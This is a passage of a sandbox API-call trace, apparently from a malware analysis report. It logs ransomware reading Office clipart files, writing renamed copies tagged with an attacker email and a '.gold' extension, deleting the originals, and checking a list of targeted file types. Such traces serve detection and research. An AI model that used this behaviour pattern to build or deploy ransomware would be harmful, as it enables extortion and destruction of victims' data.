dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0047.959] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0047.960] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0047.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0047.960] GetLastError () returned 0x0 [0047.960] ReadFile (in: hFile=0x178, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x1d9f, lpOverlapped=0x0) returned 1 [0048.209] WriteFile (in: hFile=0x20c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x1da0, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x1da0, lpOverlapped=0x0) returned 1 [0048.211] ReadFile (in: hFile=0x178, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0048.211] WriteFile (in: hFile=0x20c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.211] SetEndOfFile (hFile=0x20c) returned 1 [0048.319] CloseHandle (hObject=0x20c) returned 1 [0048.319] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0048.319] SetEndOfFile (hFile=0x178) returned 1 [0048.319] CloseHandle (hObject=0x178) returned 1 [0048.319] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0048.320] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif")) returned 1 [0049.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0049.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0049.336] lstrlenW (lpString=".doc") returned 4 [0049.336] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0049.337] lstrlenW (lpString=".docx") returned 5 [0049.337] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0049.337] lstrlenW (lpString=".pdf") returned 4 [0049.338] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0049.338] lstrlenW (lpString=".xls") returned 4 [0049.343] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0049.343] lstrlenW (lpString=".xlsx") returned 5 [0049.343] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0049.343] lstrlenW (lpString=".ppt") returned 4 [0049.343] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0049.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0049.343] lstrlenW (lpString=".zip") returned 4 [0049.343] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0049.343] lstrlenW (lpString=".rar") returned 4 [0049.343] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0049.343] lstrlenW (lpString=".bz2") returned 4 [0049.343] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0049.343] lstrlenW (lpString=".7z") returned 3 [0049.343] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0049.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0049.344] lstrlenW (lpString=".dbf") returned 4 [0049.344] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0049.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0049.344] lstrlenW (lpString=".1cd") returned 4 [0049.344] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0049.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0049.344] lstrlenW (lpString=".jpg") returned 4 [0049.344] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0049.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0049.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0049.344] lstrlenW (lpString=".doc") returned 4 [0049.344] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0049.344] lstrlenW (lpString=".docx") returned 5 [0049.344] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0049.344] lstrlenW (lpString=".pdf") returned 4 [0049.344] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0049.344] lstrlenW (lpString=".xls") returned 4 [0049.344] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0049.344] lstrlenW (lpString=".xlsx") returned 5 [0049.344] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0049.344] lstrlenW (lpString=".ppt") returned 4 [0049.344] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0049.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0049.344] lstrlenW (lpString=".zip") returned 4 [0049.344] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0049.344] lstrlenW (lpString=".rar") returned 4 [0049.344] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0049.344] lstrlenW (lpString=".bz2") returned 4 [0049.344] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0049.344] lstrlenW (lpString=".7z") returned 3 [0049.344] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0049.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0049.344] lstrlenW (lpString=".dbf") returned 4 [0049.344] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0049.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0049.345] lstrlenW (lpString=".1cd") returned 4 [0049.345] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0049.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0049.345] lstrlenW (lpString=".jpg") returned 4 [0049.345] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0049.345] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0049.345] lstrlenW (lpString="AN01545_.WMF") returned 12 [0049.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0049.345] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=7372) returned 1 [0049.345] CloseHandle (hObject=0x200) returned 1 [0049.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf")) returned 0x20 [0049.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0049.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0049.345] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0049.346] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0049.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0049.346] GetLastError () returned 0x0 [0049.346] ReadFile (in: hFile=0x200, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x1ccc, lpOverlapped=0x0) returned 1 [0049.347] WriteFile (in: hFile=0x1a0, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x1cd0, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x1cd0, lpOverlapped=0x0) returned 1 [0049.349] ReadFile (in: hFile=0x200, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0049.349] WriteFile (in: hFile=0x1a0, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.349] SetEndOfFile (hFile=0x1a0) returned 1 [0049.349] CloseHandle (hObject=0x1a0) returned 1 [0049.350] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0049.350] SetEndOfFile (hFile=0x200) returned 1 [0049.350] CloseHandle (hObject=0x200) returned 1 [0049.350] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0049.351] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf")) returned 1 [0049.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0049.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0049.351] lstrlenW (lpString=".doc") returned 4 [0049.351] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0049.351] lstrlenW (lpString=".docx") returned 5 [0049.351] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0049.351] lstrlenW (lpString=".pdf") returned 4 [0049.351] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0049.351] lstrlenW (lpString=".xls") returned 4 [0049.351] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0049.351] lstrlenW (lpString=".xlsx") returned 5 [0049.351] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0049.351] lstrlenW (lpString=".ppt") returned 4 [0049.351] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0049.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0049.351] lstrlenW (lpString=".zip") returned 4 [0049.351] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0049.351] lstrlenW (lpString=".rar") returned 4 [0049.351] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0049.351] lstrlenW (lpString=".bz2") returned 4 [0049.351] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0049.351] lstrlenW (lpString=".7z") returned 3 [0049.351] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0049.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0049.351] lstrlenW (lpString=".dbf") returned 4 [0049.351] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0049.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0049.351] lstrlenW (lpString=".1cd") returned 4 [0049.351] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0049.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0049.351] lstrlenW (lpString=".jpg") returned 4 [0049.351] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0049.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0049.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0049.352] lstrlenW (lpString=".doc") returned 4 [0049.352] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0049.352] lstrlenW (lpString=".docx") returned 5 [0049.352] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0049.352] lstrlenW (lpString=".pdf") returned 4 [0049.352] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0049.352] lstrlenW (lpString=".xls") returned 4 [0049.352] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0049.352] lstrlenW (lpString=".xlsx") returned 5 [0049.352] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0049.352] lstrlenW (lpString=".ppt") returned 4 [0049.352] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0049.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0049.352] lstrlenW (lpString=".zip") returned 4 [0049.352] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0049.352] lstrlenW (lpString=".rar") returned 4 [0049.352] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0049.352] lstrlenW (lpString=".bz2") returned 4 [0049.352] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0049.352] lstrlenW (lpString=".7z") returned 3 [0049.352] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0049.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0049.352] lstrlenW (lpString=".dbf") returned 4 [0049.352] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0049.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0049.352] lstrlenW (lpString=".1cd") returned 4 [0049.352] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0049.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0049.352] lstrlenW (lpString=".jpg") returned 4 [0049.352] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0049.352] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0049.352] lstrlenW (lpString="AN02122_.WMF") returned 12 [0049.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0049.353] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=7540) returned 1 [0049.353] CloseHandle (hObject=0x200) returned 1 [0049.353] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf")) returned 0x20 [0049.353] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0049.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0049.353] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0049.354] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0049.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0049.354] GetLastError () returned 0x0 [0049.354] ReadFile (in: hFile=0x200, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x1d74, lpOverlapped=0x0) returned 1 [0049.355] WriteFile (in: hFile=0x1a0, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x1d80, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x1d80, lpOverlapped=0x0) returned 1 [0049.356] ReadFile (in: hFile=0x200, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0049.356] WriteFile (in: hFile=0x1a0, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.356] SetEndOfFile (hFile=0x1a0) returned 1 [0049.356] CloseHandle (hObject=0x1a0) returned 1 [0049.356] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0049.356] SetEndOfFile (hFile=0x200) returned 1 [0049.357] CloseHandle (hObject=0x200) returned 1 [0049.357] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0049.357] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf")) returned 1 [0049.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0049.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0049.357] lstrlenW (lpString=".doc") returned 4 [0049.357] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0049.357] lstrlenW (lpString=".docx") returned 5 [0049.357] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0049.357] lstrlenW (lpString=".pdf") returned 4 [0049.357] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0049.357] lstrlenW (lpString=".xls") returned 4 [0049.357] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0049.357] lstrlenW (lpString=".xlsx") returned 5 [0049.357] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0049.357] lstrlenW (lpString=".ppt") returned 4 [0049.357] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0049.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0049.357] lstrlenW (lpString=".zip") returned 4 [0049.357] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0049.357] lstrlenW (lpString=".rar") returned 4 [0049.357] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0049.357] lstrlenW (lpString=".bz2") returned 4 [0049.357] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0049.358] lstrlenW (lpString=".7z") returned 3 [0049.358] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0049.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0049.358] lstrlenW (lpString=".dbf") returned 4 [0049.358] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0049.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0049.358] lstrlenW (lpString=".1cd") returned 4 [0049.358] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0049.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0049.358] lstrlenW (lpString=".jpg") returned 4 [0049.358] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0049.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0049.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0049.358] lstrlenW (lpString=".doc") returned 4 [0049.358] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0049.358] lstrlenW (lpString=".docx") returned 5 [0049.358] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0049.358] lstrlenW (lpString=".pdf") returned 4 [0049.358] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0049.358] lstrlenW (lpString=".xls") returned 4 [0049.358] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0049.358] lstrlenW (lpString=".xlsx") returned 5 [0049.358] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0049.358] lstrlenW (lpString=".ppt") returned 4 [0049.358] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0049.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0049.358] lstrlenW (lpString=".zip") returned 4 [0049.358] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0049.358] lstrlenW (lpString=".rar") returned 4 [0049.358] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0049.358] lstrlenW (lpString=".bz2") returned 4 [0049.358] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0049.358] lstrlenW (lpString=".7z") returned 3 [0049.358] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0049.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0049.358] lstrlenW (lpString=".dbf") returned 4 [0049.358] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0049.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0049.358] lstrlenW (lpString=".1cd") returned 4 [0049.358] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0049.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0049.358] lstrlenW (lpString=".jpg") returned 4 [0049.358] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0049.359] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0049.359] lstrlenW (lpString="AN02559_.WMF") returned 12 [0049.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0049.359] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=6632) returned 1 [0049.359] CloseHandle (hObject=0x200) returned 1 [0049.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf")) returned 0x20 [0049.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0049.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0049.359] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0049.359] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0049.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 